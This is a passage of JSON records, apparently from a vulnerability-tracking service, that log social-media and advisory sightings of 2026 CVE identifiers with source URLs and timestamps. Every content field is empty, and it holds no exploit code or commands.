"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mg67vr5ygg2m", "content": "", "creation_timestamp": "2026-03-03T16:48:04.112310Z"}, {"uuid": "bbd763a8-94b1-4e5a-843c-424507de4a7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20407", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdw332voxj24", "content": "", "creation_timestamp": "2026-02-03T00:09:51.703340Z"}, {"uuid": "f4872dcd-bd6b-4561-b248-69707bca5ebe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2097", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meigebo2nw23", "content": "", "creation_timestamp": "2026-02-10T07:19:46.430095Z"}, {"uuid": "c4c9865a-281e-4e2c-aaa4-bf64fe6c72ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20667", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meqbkzqyql2a", "content": "", "creation_timestamp": "2026-02-13T10:15:23.268465Z"}, {"uuid": "211ab5ba-6a04-4c54-912c-127d77101f5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116194586920781883", "content": "", "creation_timestamp": "2026-03-08T16:51:32.397852Z"}, {"uuid": "695fdf90-a959-42c0-a8e1-f92d937165cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20409", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdw33bddzb24", "content": "", "creation_timestamp": "2026-02-03T00:09:58.075516Z"}, {"uuid": "fc0e3f0f-1d2f-418a-bfb6-d359431b36a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2066", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me7tdr6hcb2x", "content": "", "creation_timestamp": "2026-02-06T21:18:10.329208Z"}, {"uuid": "fece19f9-1e85-46dc-b5f8-9aa438581402", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2093", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meigeipcvp2m", "content": "", "creation_timestamp": "2026-02-10T07:19:53.849618Z"}, {"uuid": "2512c466-7a32-4220-a1a6-69adc174a66d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/pcmaggreece.bsky.social/post/3meoqsibov22i", "content": "", "creation_timestamp": "2026-02-12T19:42:43.474122Z"}, {"uuid": "0ba51f30-a0b8-4b34-8b58-856521982771", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20660", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meqblguz4y2m", "content": "", "creation_timestamp": "2026-02-13T10:15:36.219948Z"}, {"uuid": "430e7851-439e-4681-a266-84ff5f89ea59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20757", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg4vtye44l27", "content": "", "creation_timestamp": "2026-03-03T04:15:25.959313Z"}, {"uuid": "e4c7a221-98b4-42f8-a659-07bb26cf866f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mgebbklafa2p", "content": "", "creation_timestamp": "2026-03-06T02:28:30.711644Z"}, {"uuid": "d44d3c6e-974f-4d2a-829a-543fa34ce3ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2004", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mgf64ee7e227", "content": "", "creation_timestamp": "2026-03-06T11:04:38.038660Z"}, {"uuid": "6318628c-b7d3-4499-bb04-92fd5d5356ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20402", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdw3ecdep72g", "content": "", "creation_timestamp": "2026-02-03T00:15:00.966273Z"}, {"uuid": "e60dee4e-9b37-4fa0-8992-d219ca338046", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2067", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me7tdxkruj23", "content": "", "creation_timestamp": "2026-02-06T21:18:17.003958Z"}, {"uuid": "14de85f7-3815-4744-87a2-d0c20cbc8e49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2096", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meiggtxcwf25", "content": "", "creation_timestamp": "2026-02-10T07:21:12.960317Z"}, {"uuid": "69a3e33b-472e-4ebd-b8b0-097bcef60e09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2005", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mgf64ee7e227", "content": "", "creation_timestamp": "2026-03-06T11:04:38.122273Z"}, {"uuid": "8c5ddccf-61cc-41f0-a84d-7799c47aa344", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20403", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdw3eiudex22", "content": "", "creation_timestamp": "2026-02-03T00:15:07.758246Z"}, {"uuid": "b970f393-b491-442a-998a-13177e828295", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2094", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meigh2ptog27", "content": "", "creation_timestamp": "2026-02-10T07:21:19.944339Z"}, {"uuid": "312a6ded-6fa1-466b-b3db-00a2102f90f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2006", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mgf64ee7e227", "content": "", "creation_timestamp": "2026-03-06T11:04:38.190544Z"}, {"uuid": "a1117b0d-2b69-43e9-8ed1-4bfef65f135d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2020", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgguojnwgn2e", "content": "", "creation_timestamp": "2026-03-07T03:21:07.025671Z"}, {"uuid": "9f806f55-597d-40ae-b7e0-e5d8ea045d69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2066", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me7tesdcz52v", "content": "", "creation_timestamp": "2026-02-06T21:18:45.895008Z"}, {"uuid": "bc35e201-9e77-4783-bce5-e7c8a09e0976", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2095", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meighaymld2g", "content": "", "creation_timestamp": "2026-02-10T07:21:26.350464Z"}, {"uuid": "0983d6bc-b636-419b-bf78-08878df2f899", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3memx22zzpe2s", "content": "", "creation_timestamp": "2026-02-12T02:28:56.517104Z"}, {"uuid": "f82e57f2-3ea3-4737-a666-44352349229f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2067", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me7tezhskz23", "content": "", "creation_timestamp": "2026-02-06T21:18:52.750245Z"}, {"uuid": "702d79f3-8cc4-4a9c-be28-252d268c914a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/anssi-fr.bsky.social/post/3mfqyp5jzys2p", "content": "", "creation_timestamp": "2026-02-26T10:34:36.800103Z"}, {"uuid": "a5afd7c5-971d-4c2a-8864-b9ee17482caf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://threatintel.cc/2026/03/08/recent-cisco-catalyst-sdwan-vulnerability.html", "content": "", "creation_timestamp": "2026-03-08T15:51:38.000000Z"}, {"uuid": "0b1a17c7-3537-4573-ac79-0787b9456887", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2096", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116045160783287699", "content": "", "creation_timestamp": "2026-02-10T07:30:30.911716Z"}, {"uuid": "14819b71-690c-4104-bd2e-1b28406c73da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/appinn.bsky.social/post/3memx4ahksx2q", "content": "", "creation_timestamp": "2026-02-12T02:30:09.586625Z"}, {"uuid": "af429da9-b1af-4f00-98f5-4b8a88a92235", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2096", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3meigxjtk2y2h", "content": "", "creation_timestamp": "2026-02-10T07:30:32.929874Z"}, {"uuid": "3ef586ba-7a51-4cc8-9679-1365c600457a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20650", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meqe2kdy4d2h", "content": "", "creation_timestamp": "2026-02-13T10:59:51.148646Z"}, {"uuid": "7ac770a3-b287-4a6a-8067-ad8833195a46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3metfhqocvh2s", "content": "", "creation_timestamp": "2026-02-14T16:03:07.342005Z"}, {"uuid": "4c2f05c2-569a-4364-90b5-41b9550e0673", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mfpngbjswq2k", "content": "", "creation_timestamp": "2026-02-25T21:39:59.352669Z"}, {"uuid": "cc919a84-5ae5-45c7-98f6-42449985d75b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3mfun7sx6st2v", "content": "", "creation_timestamp": "2026-02-27T21:19:41.309099Z"}, {"uuid": "797448ef-ba32-45f0-9fe9-dbe62f5c9f61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20626", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meqe2qvezk2a", "content": "", "creation_timestamp": "2026-02-13T10:59:57.626761Z"}, {"uuid": "640332de-3706-4c46-8fbb-2b0f8f5a57bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/cvedatabase.bsky.social/post/3mg6bvv7fjs27", "content": "", "creation_timestamp": "2026-03-03T17:23:54.463438Z"}, {"uuid": "cae4488a-5a7b-4f52-9720-e3847c108ba8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20119", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3memxpc57zs2w", "content": "", "creation_timestamp": "2026-02-12T02:40:52.988078Z"}, {"uuid": "3f18eafb-2f2f-4529-b623-1413b69aac16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/mm-ilsoftware-bot.bsky.social/post/3meqe3wkd7n26", "content": "", "creation_timestamp": "2026-02-13T11:00:36.580980Z"}, {"uuid": "5bef8ad6-5138-45c4-9d31-1aa4569e2b10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://threatintel.cc/2026/02/20/poc-released-for-windows-notepad.html", "content": "", "creation_timestamp": "2026-02-20T12:21:13.000000Z"}, {"uuid": "3eaade33-aa78-4549-8091-aa8493168b65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20654", "type": "seen", "source": "https://bsky.app/profile/speedyfriend67.bsky.social/post/3memy2pauyc2i", "content": "", "creation_timestamp": "2026-02-12T02:47:13.118470Z"}, {"uuid": "079834b4-bd35-4a53-837d-5ff5a1ad4bd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mg4wu355dw2l", "content": "", "creation_timestamp": "2026-03-03T04:33:22.793546Z"}, {"uuid": "d0e67eda-438b-4f13-aa98-2bcffe849eea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20654", "type": "seen", "source": "https://bsky.app/profile/speedyfriend67.bsky.social/post/3memy3zdwhc2i", "content": "", "creation_timestamp": "2026-02-12T02:47:56.912160Z"}, {"uuid": "00c90c22-c896-4d9e-aa14-a92776b0ae66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20098", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3memy74af5k2w", "content": "", "creation_timestamp": "2026-02-12T02:49:41.903110Z"}, {"uuid": "b5cee7a5-564e-4267-8747-78e36bf68033", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3methvd3bup2t", "content": "", "creation_timestamp": "2026-02-14T16:46:29.170925Z"}, {"uuid": "6fed7373-5f23-4ad5-b94a-fdfa1423be39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20127", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mfr4qs4vas2s", "content": "", "creation_timestamp": "2026-02-26T11:46:58.011927Z"}, {"uuid": "82759003-4c62-48c2-a07b-761445fbd89f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/theitnerd.ca/post/3mgbao3oioi2u", "content": "", "creation_timestamp": "2026-03-04T21:39:38.275391Z"}, {"uuid": "5991a146-2cec-4592-aa0a-42c1c3638671", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20761", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-050-01", "content": "", "creation_timestamp": "2026-02-19T11:00:00.000000Z"}, {"uuid": "6ad2899c-479d-49be-957f-6db18335d778", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mg27fnxhiz2w", "content": "", "creation_timestamp": "2026-03-02T02:28:23.522210Z"}, {"uuid": "5af8b3ed-de76-4631-98fa-74b5679ac65b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20761", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfclwgs42626", "content": "", "creation_timestamp": "2026-02-20T17:08:38.247656Z"}, {"uuid": "9551266e-6f3e-4e16-ac0b-a4dba21136b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20127", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mfr5ihrn6i2c", "content": "", "creation_timestamp": "2026-02-26T12:00:13.096149Z"}, {"uuid": "a6b91c6f-b65c-4119-b8d1-23fc31edbdb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/theitnerd.ca/post/3mgbao3oioi2u", "content": "", "creation_timestamp": "2026-03-04T21:39:38.387491Z"}, {"uuid": "2b650f14-2096-4fcc-9ddf-aba0816a7ad5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/buchikuma.bsky.social/post/3meqge5oqx22a", "content": "", "creation_timestamp": "2026-02-13T11:41:00.097633Z"}, {"uuid": "e06213ba-7ef9-4838-8f65-8ac0d13d420c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20119", "type": "seen", "source": "https://gist.github.com/alon710/2cfaa5c3a428af7fb47f6a3747424637", "content": "", "creation_timestamp": "2026-02-06T05:40:07.000000Z"}, {"uuid": "3466aaa4-ce49-4a40-b926-62ce5c2dd439", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20098", "type": "seen", "source": "https://gist.github.com/alon710/ea108b7699cbba8f8e6cd99432c8103e", "content": "", "creation_timestamp": "2026-02-06T05:40:05.000000Z"}, {"uuid": "13ef428f-db11-442e-9c4a-f26623381550", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/buchikuma.bsky.social/post/3meqh2ketoz2d", "content": "", "creation_timestamp": "2026-02-13T11:53:31.765048Z"}, {"uuid": "b61f5c2f-4475-4e72-b44b-38f239e775f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mfrazs5nj223", "content": "", "creation_timestamp": "2026-02-26T13:03:35.288759Z"}, {"uuid": "c354a3b4-1267-4ec1-a219-a23c1e2e6985", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20610", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meqh4chbw32h", "content": "", "creation_timestamp": "2026-02-13T11:54:30.775041Z"}, {"uuid": "fcff284c-4574-43e7-9c95-d1496d0cbbe5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/technadu.com/post/3mfrb2oo3qs2g", "content": "", "creation_timestamp": "2026-02-26T13:04:19.188567Z"}, {"uuid": "1282ad4a-49b2-4646-9633-215f6f444d63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20796", "type": "seen", "source": "https://gist.github.com/alon710/60690c79bc8916d16a88504b9b8f8aea", "content": "", "creation_timestamp": "2026-02-14T18:10:28.000000Z"}, {"uuid": "9b98d295-0f5e-4b9b-b461-8242a4a2b939", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3meqh53hyc22f", "content": "", "creation_timestamp": "2026-02-13T11:54:56.488279Z"}, {"uuid": "5650fd51-73b0-4b18-9073-84ba7f4a2e24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/technadu.com/post/3mfrb33frnk2g", "content": "", "creation_timestamp": "2026-02-26T13:04:19.844738Z"}, {"uuid": "88a4cbd2-52bc-4353-9ef1-9f9ea2e9fa60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20039", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgbbeu4wpk2y", "content": "", "creation_timestamp": "2026-03-04T21:52:22.075363Z"}, {"uuid": "1cc17f6d-7c29-43ee-942e-b33fe99df813", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2068", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me7wmpdgbd2a", "content": "", "creation_timestamp": "2026-02-06T22:16:51.822664Z"}, {"uuid": "f52e07d3-3f61-4d13-a200-42ae3fb26ce2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/timb-machine.infosec.exchange.ap.brid.gy/post/3mejvh7k4x3p2", "content": "", "creation_timestamp": "2026-02-10T21:22:36.397157Z"}, {"uuid": "cf22cecb-278b-4161-bb3c-0710a094f23d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgbblkyykt27", "content": "", "creation_timestamp": "2026-03-04T21:56:08.549650Z"}, {"uuid": "e89b0dc1-fea1-46a4-91ae-0efb1c243965", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2095", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3meilyjw3ha2e", "content": "", "creation_timestamp": "2026-02-10T09:00:35.380320Z"}, {"uuid": "1461715b-2576-493c-993a-bb8d65e7aa82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/dragoonaethis.mstdn.social.ap.brid.gy/post/3mejxbj4qbtf2", "content": "", "creation_timestamp": "2026-02-10T21:55:19.099306Z"}, {"uuid": "58973937-ca27-4776-a190-1e5d8c4415d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2095", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116045514840710158", "content": "", "creation_timestamp": "2026-02-10T09:00:46.269319Z"}, {"uuid": "ca7fb393-a174-45ca-af10-116672a9fa24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/index.espresso.cafecito.tech.ap.brid.gy/post/3meqigtopxe62", "content": "", "creation_timestamp": "2026-02-13T12:18:26.801655Z"}, {"uuid": "2069b3a8-d3ad-4d34-addf-b855a5a7acc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mfszl454p224", "content": "", "creation_timestamp": "2026-02-27T05:55:26.121624Z"}, {"uuid": "c7049315-95e8-456b-be61-8dd80c6eb53d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20423", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mg6dwk3s6z2u", "content": "", "creation_timestamp": "2026-03-03T18:00:04.293606Z"}, {"uuid": "a8f62ddc-a640-44ca-b9e2-2044e8dbe999", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20882", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mggxwjz2ud27", "content": "", "creation_timestamp": "2026-03-07T04:19:16.726276Z"}, {"uuid": "1287178e-bd77-438d-8a86-614de80cc284", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20833", "type": "seen", "source": "https://gist.github.com/alon710/95d0892d8224e60f92d685ca9d3dcf33", "content": "", "creation_timestamp": "2026-02-10T09:00:05.000000Z"}, {"uuid": "7717bc58-42f1-4fe5-b3bd-ed75582cfb35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", 